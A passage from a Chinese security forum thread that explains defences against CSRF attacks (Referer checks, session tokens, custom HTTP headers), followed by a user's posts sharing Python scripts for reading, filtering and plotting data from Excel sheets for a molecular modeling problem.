  • 优点:使用方便,开发简单,一定程度上能预防CSRF攻击;
  • 缺点:这种机制完全依托于浏览器,Referer字段容易被故意篡改,或者被禁用。
2. 请求中添加token并验证
token就是服务端返回给客户端类似sessionid那样一长串的类值(长是为了防暴力猜解)。csrf依赖于浏览器该问链接时自动对应网站的cookie带上,token不放cookie(一般form表单加个hidden属性的input标签来存放)csrf就没法获取token,这样我们就可以通过检测发送过来的数据包中是否有正确的token值来决定是否响应请求。
在讲清token防御的原理后,我们再来讲token的设计,因为token方式给人的感觉很复杂令人望而生畏。
我们首先明确一个问题,就是能够防止csrf攻击的token,并不需要每次请求都不一样,在用户登录后到退出前的这整个过程中的所有请求token完全可以是一样。因为(在基于没有其他漏洞会泄漏本次会话的token的设想下)黑客是无法获取用户的tokne,所以又何必每个请求都要生成一个新的token呢。(token每次请求都要不一样的想法是受防重放攻击的影响)只考滤防csrf不考滤防重放的情况下,token设计就简单多了。
使用sessionid作为token设计:在csrf中cookie是浏览器自己带上的,本质而言用户的sessionid并未丢失(也就是攻击者并不能知道sessionid是多少),基于此我们完全可以不用另传一个值只需直接将sessionid作为token即可(或者也可以做些运算比如取sessionid的某些值做个md5来做为token,意思都差不多)。判断代码类似 if session["id"] == $_POST["token"]
与sessionid同时返回的token设计:在生成sessionid的同时生成一个token(服务端token可以存于session变量中)返回给客户端,客户端保存该token每次请求时都在form表单中提交该值。判断代码类似if session["token"] == $_POST["token"]
这种方法要比检查 Referer 要安全一些,token 可以在用户登陆后产生并放于 session 之中,然后在每次请求时把 token 从 session 中拿出,与请求中的 token 进行比对,但这种方法的难点在于如何把 token 以参数的形式加入请求。对于 GET 请求,token 将附在请求地址之后,这样 URL 就变成 [color=var(--theme-color)]http://url?csrftoken=tokenvalue。 而对于 POST 请求来说,要在 form 的最后加上 ,这样就把 token 以参数的形式加入请求了。但是,在一个网站中,可以接受请求的地方非常多,要对于每一个请求都加上 token 是很麻烦的,并且很容易漏掉,通常使用的方法就是在每次页面加载时,使用 javascript 遍历整个 dom 树,对于 dom 中所有的 a 和 form 标签后加入 token。这样可以解决大部分的请求,但是对于在页面加载之后动态生成的 html 代码,这种方法就没有作用,还需要程序员在编码时手动添加 token。另外还有一个问题就是怎么保障token本身的存储安全,不要被黑客截获。
验证token方式总结
  • 安全程度比Referer的方式要高;
  • 实现方式上稍微复杂;
  • 需要保证token存储的安全性。
3. 在 HTTP 头中自定义属性并验证
这种方法也是使用 token 并进行验证,和上一种方法不同的是,这里并不是把 token 以参数的形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把 token 值放入其中。这样解决了上种方法在请求中加入 token 的不便,同时,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会透过 Referer 泄露到其他网站中去。
然而这种方法的局限性非常大。XMLHttpRequest 请求通常用于 Ajax 方法中对于页面局部的异步刷新,并非所有的请求都适合用这个类来发起,而且通过该类请求得到的页面不能被浏览器所记录下,从而进行前进,后退,刷新,收藏等操作,给用户带来不便。另外,对于没有进行 CSRF防护的遗留系统来说,要采用这种方法来进行防护,要把所有请求都改为 XMLHttpRequest 请求,这样几乎是要重写整个网站,这代价无疑是不能接受的。
验证Head属性方式总结
  • 使用方式较简单,而且token不容易泄露
  • 使用场合较少,局限性较大。


回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2021-10-16 13:08:48 | 显示全部楼层
xlrd+openyxl处理Excel
帮助学长学姐处理研究生建模题时学习的python简单处理Excel读写数据等。
从两张表中读数据进行对比并将结果写入新表
以下是两张表的表头:
less.xlsx
​​
more.xlsx
​​
less.xlsx的表头包含于more.xlsx的表头。要做的是取出more.xlsx表头中包含less.xlsx的那一列数据。
代码如下:
  1. import xlrd
  2. import xlwt
  3. from openpyxl import *

  4. file1 = "./less.xlsx"
  5. file2 = "./more.xlsx"

  6. workbook1 = xlrd.open_workbook(filename=file1)
  7. sheet1 = workbook1.sheet_by_index(0)
  8. col_name_1 = []
  9. for i in range(1, sheet1.ncols):
  10.     col_name_1.append(sheet1.col_values(i)[0])
  11. # print(col_name)


  12. workbook2 = xlrd.open_workbook(filename=file2)
  13. sheet2 = workbook2.sheet_by_index(0)
  14. col_name_2 = []
  15. for i in range(0, sheet2.ncols):
  16.     cols = sheet2.col_values(i)
  17.     if cols[0] in col_name_1:
  18.      col_name_2.append(cols)

  19. # print(col_name_2)
  20. file3 = './new.xlsx'
  21. wb = load_workbook(file3)
  22. ws = wb.active
  23. for i in range(len(col_name_2)):
  24.     ws.append(col_name_2[i])
  25. wb.save(file3)
复制代码
取出来的数据写入之后是行数据而不是列。。这时候用excel的转置粘贴功能= =。行向量就转置成了列向量。
​​
另外,有可能会报错xlrd不支持xlsx格式,需要下载对应的xlrd版本。
  1. pip uninstall xlrd
  2. pip install xlrd==1.2.0
复制代码
我是在pycharm中操作的,下载的时候specify version即可。
选择数据并画正态分布图
用到了matplotlib库来画图。
安装:
  1. pip insatll matplotlib
复制代码
在pycharm中有可能会引用报错。例如
  1. AttributeError: module 'socket' has no attribute '_GLOBAL_DEFAULT_TIMEOUT'
  2. implement_array_function method already has a docstring
复制代码
百度一个方法报一个新错误。。
后来查找到一般是由于numpy和matplotlib版本不对应引起的(因为matplotlib基于numpy开发)。写的时候在命令行可以成功引用,但是pycharm中报错,查找了半天错误之后发现更新了numpy版本,卸载干净matplotlib再重装新版本就解决了。我的版本:
python 3.7.2
numpy 1.21.2
matplotlib 3.4.3
可以正常使用。
有两张表:
ERα_activity.xlsx
​​
ADMET.xlsx
​​
要做的是取出ADMET.xlsx中五个指标加起来大于等于3的分子式,并且这些分子式在ERα_activity.xlsx表中的pIC50值要尽量大。
其中ADMET.xlsx表中hERG和MN两个值要取反后再相加。
代码:
  1. import xlrd
  2. import xlwt
  3. from openpyxl import *
  4. import numpy as np
  5. import matplotlib.pyplot as plt


  6. file1 = "./ERα_activity.xlsx"
  7. file2 = "./ADMET.xlsx"

  8. workbook1 = xlrd.open_workbook(filename=file1)
  9. sheet1 = workbook1.sheet_by_index(0)
  10. pIC50_dict = {}
  11. # 取出ERα_activity.xlsx表中的第一列分子式
  12. for i in range(1, sheet1.nrows):
  13.     pIC50_dict[sheet1.col_values(0)[i]] = sheet1.col_values(2)[i]
  14. # print(list(pIC50_dict.values()))
  15. pIC50_value_list = list(pIC50_dict.values())
  16. # 中位数
  17. median_a = np.median(pIC50_value_list)
  18. # 期望
  19. mean = np.mean(pIC50_value_list)
  20. # 方差
  21. var = np.var(pIC50_value_list)
  22. # 标准差
  23. std = np.std(pIC50_value_list)

  24. # 画出正态分布
  25. x = np.arange(min(pIC50_value_list), max(pIC50_value_list), 0.1)
  26. y = np.exp(-((x - mean) ** 2) / (2 * std ** 2)) / (std * np.sqrt(2 * np.pi))
  27. plt.plot(x, y, "g", linewidth=2)
  28. plt.show()

  29. workbook2 = xlrd.open_workbook(filename=file2)
  30. sheet2 = workbook2.sheet_by_index(0)
  31. for i in range(1, sheet2.nrows):
  32.     admet = 0
  33.     for j in range(1, sheet2.ncols):
  34.     # 1,0异或1即取反
  35.         if (sheet2.row_values(0)[j] == 'hERG') or (sheet2.row_values(0)[j] == 'MN'):
  36.             num = (int(sheet2.row_values(i)[j]))^1
  37.         else:
  38.             num = int(sheet2.row_values(i)[j])
  39.         admet += num
  40.     if admet < 3:
  41.         del pIC50_dict[sheet2.row_values(i)[0]]

  42. # 删去小于期望的分子式(按value删除字典元素)
  43. for k in pIC50_dict.copy():
  44.     if pIC50_dict[k] < mean:
  45.        del pIC50_dict[k]

  46. print(pIC50_dict)
  47. list = sorted(pIC50_dict.items(), key=lambda item: item[1], reverse=True)
  48. print(len(list))
  49. print(list)
  50. # print(len(list(pIC50_dict.values())))
  51. # pIC50_name_list = list(pIC50_dict.keys())
  52. # set1 = set(pIC50_name_list)
  53. # set2 = set(ADMET_list)
  54. # del_list = (set1^set2)
  55. #
  56. # print(list(del_list))
复制代码


回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2021-10-16 14:36:24 | 显示全部楼层
xlrd+openyxl处理Excel
帮助学长学姐处理研究生建模题时学习的python简单处理Excel读写数据等。
从两张表中读数据进行对比并将结果写入新表
以下是两张表的表头:
less.xlsx
​​
more.xlsx
​​
less.xlsx的表头包含于more.xlsx的表头。要做的是取出more.xlsx表头中包含less.xlsx的那一列数据。
代码如下:
  1. import xlrd
  2. import xlwt
  3. from openpyxl import *

  4. file1 = "./less.xlsx"
  5. file2 = "./more.xlsx"

  6. workbook1 = xlrd.open_workbook(filename=file1)
  7. sheet1 = workbook1.sheet_by_index(0)
  8. col_name_1 = []
  9. for i in range(1, sheet1.ncols):
  10.     col_name_1.append(sheet1.col_values(i)[0])
  11. # print(col_name)


  12. workbook2 = xlrd.open_workbook(filename=file2)
  13. sheet2 = workbook2.sheet_by_index(0)
  14. col_name_2 = []
  15. for i in range(0, sheet2.ncols):
  16.     cols = sheet2.col_values(i)
  17.     if cols[0] in col_name_1:
  18.      col_name_2.append(cols)

  19. # print(col_name_2)
  20. file3 = './new.xlsx'
  21. wb = load_workbook(file3)
  22. ws = wb.active
  23. for i in range(len(col_name_2)):
  24.     ws.append(col_name_2[i])
  25. wb.save(file3)
复制代码
取出来的数据写入之后是行数据而不是列。。这时候用excel的转置粘贴功能= =。行向量就转置成了列向量。
​​
另外,有可能会报错xlrd不支持xlsx格式,需要下载对应的xlrd版本。
  1. pip uninstall xlrd
  2. pip install xlrd==1.2.0
复制代码
我是在pycharm中操作的,下载的时候specify version即可。
选择数据并画正态分布图
用到了matplotlib库来画图。
安装:
  1. pip insatll matplotlib
复制代码
在pycharm中有可能会引用报错。例如
  1. AttributeError: module 'socket' has no attribute '_GLOBAL_DEFAULT_TIMEOUT'
  2. implement_array_function method already has a docstring
复制代码
百度一个方法报一个新错误。。
后来查找到一般是由于numpy和matplotlib版本不对应引起的(因为matplotlib基于numpy开发)。写的时候在命令行可以成功引用,但是pycharm中报错,查找了半天错误之后发现更新了numpy版本,卸载干净matplotlib再重装新版本就解决了。我的版本:
python 3.7.2
numpy 1.21.2
matplotlib 3.4.3
可以正常使用。
有两张表:
ERα_activity.xlsx
​​
ADMET.xlsx
​​
要做的是取出ADMET.xlsx中五个指标加起来大于等于3的分子式,并且这些分子式在ERα_activity.xlsx表中的pIC50值要尽量大。
其中ADMET.xlsx表中hERG和MN两个值要取反后再相加。
代码:
  1. import xlrd
  2. import xlwt
  3. from openpyxl import *
  4. import numpy as np
  5. import matplotlib.pyplot as plt


  6. file1 = "./ERα_activity.xlsx"
  7. file2 = "./ADMET.xlsx"

  8. workbook1 = xlrd.open_workbook(filename=file1)
  9. sheet1 = workbook1.sheet_by_index(0)
  10. pIC50_dict = {}
  11. # 取出ERα_activity.xlsx表中的第一列分子式
  12. for i in range(1, sheet1.nrows):
  13.     pIC50_dict[sheet1.col_values(0)[i]] = sheet1.col_values(2)[i]
  14. # print(list(pIC50_dict.values()))
  15. pIC50_value_list = list(pIC50_dict.values())
  16. # 中位数
  17. median_a = np.median(pIC50_value_list)
  18. # 期望
  19. mean = np.mean(pIC50_value_list)
  20. # 方差
  21. var = np.var(pIC50_value_list)
  22. # 标准差
  23. std = np.std(pIC50_value_list)

  24. # 画出正态分布
  25. x = np.arange(min(pIC50_value_list), max(pIC50_value_list), 0.1)
  26. y = np.exp(-((x - mean) ** 2) / (2 * std ** 2)) / (std * np.sqrt(2 * np.pi))
  27. plt.plot(x, y, "g", linewidth=2)
  28. plt.show()

  29. workbook2 = xlrd.open_workbook(filename=file2)
  30. sheet2 = workbook2.sheet_by_index(0)
  31. for i in range(1, sheet2.nrows):
  32.     admet = 0
  33.     for j in range(1, sheet2.ncols):
  34.     # 1,0异或1即取反
  35.         if (sheet2.row_values(0)[j] == 'hERG') or (sheet2.row_values(0)[j] == 'MN'):
  36.             num = (int(sheet2.row_values(i)[j]))^1
  37.         else:
  38.             num = int(sheet2.row_values(i)[j])
  39.         admet += num
  40.     if admet < 3:
  41.         del pIC50_dict[sheet2.row_values(i)[0]]

  42. # 删去小于期望的分子式(按value删除字典元素)
  43. for k in pIC50_dict.copy():
  44.    if pIC50_dict[k] < mean:
  45.         del pIC50_dict[k]

  46. print(pIC50_dict)
  47. list = sorted(pIC50_dict.items(), key=lambda item: item[1], reverse=True)
  48. print(len(list))
  49. print(list)
  50. # print(len(list(pIC50_dict.values())))
  51. # pIC50_name_list = list(pIC50_dict.keys())
  52. # set1 = set(pIC50_name_list)
  53. # set2 = set(ADMET_list)
  54. # del_list = (set1^set2)
  55. #
  56. # print(list(del_list))
复制代码


回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2021-10-16 14:38:11 | 显示全部楼层
pukr 发表于 2021-10-16 14:36
xlrd+openyxl处理Excel帮助学长学姐处理研究生建模题时学习的python简单处理Excel读写数据等。
从两张表中 ...

多发了一楼。。。。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 00:31 , Processed in 0.029216 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表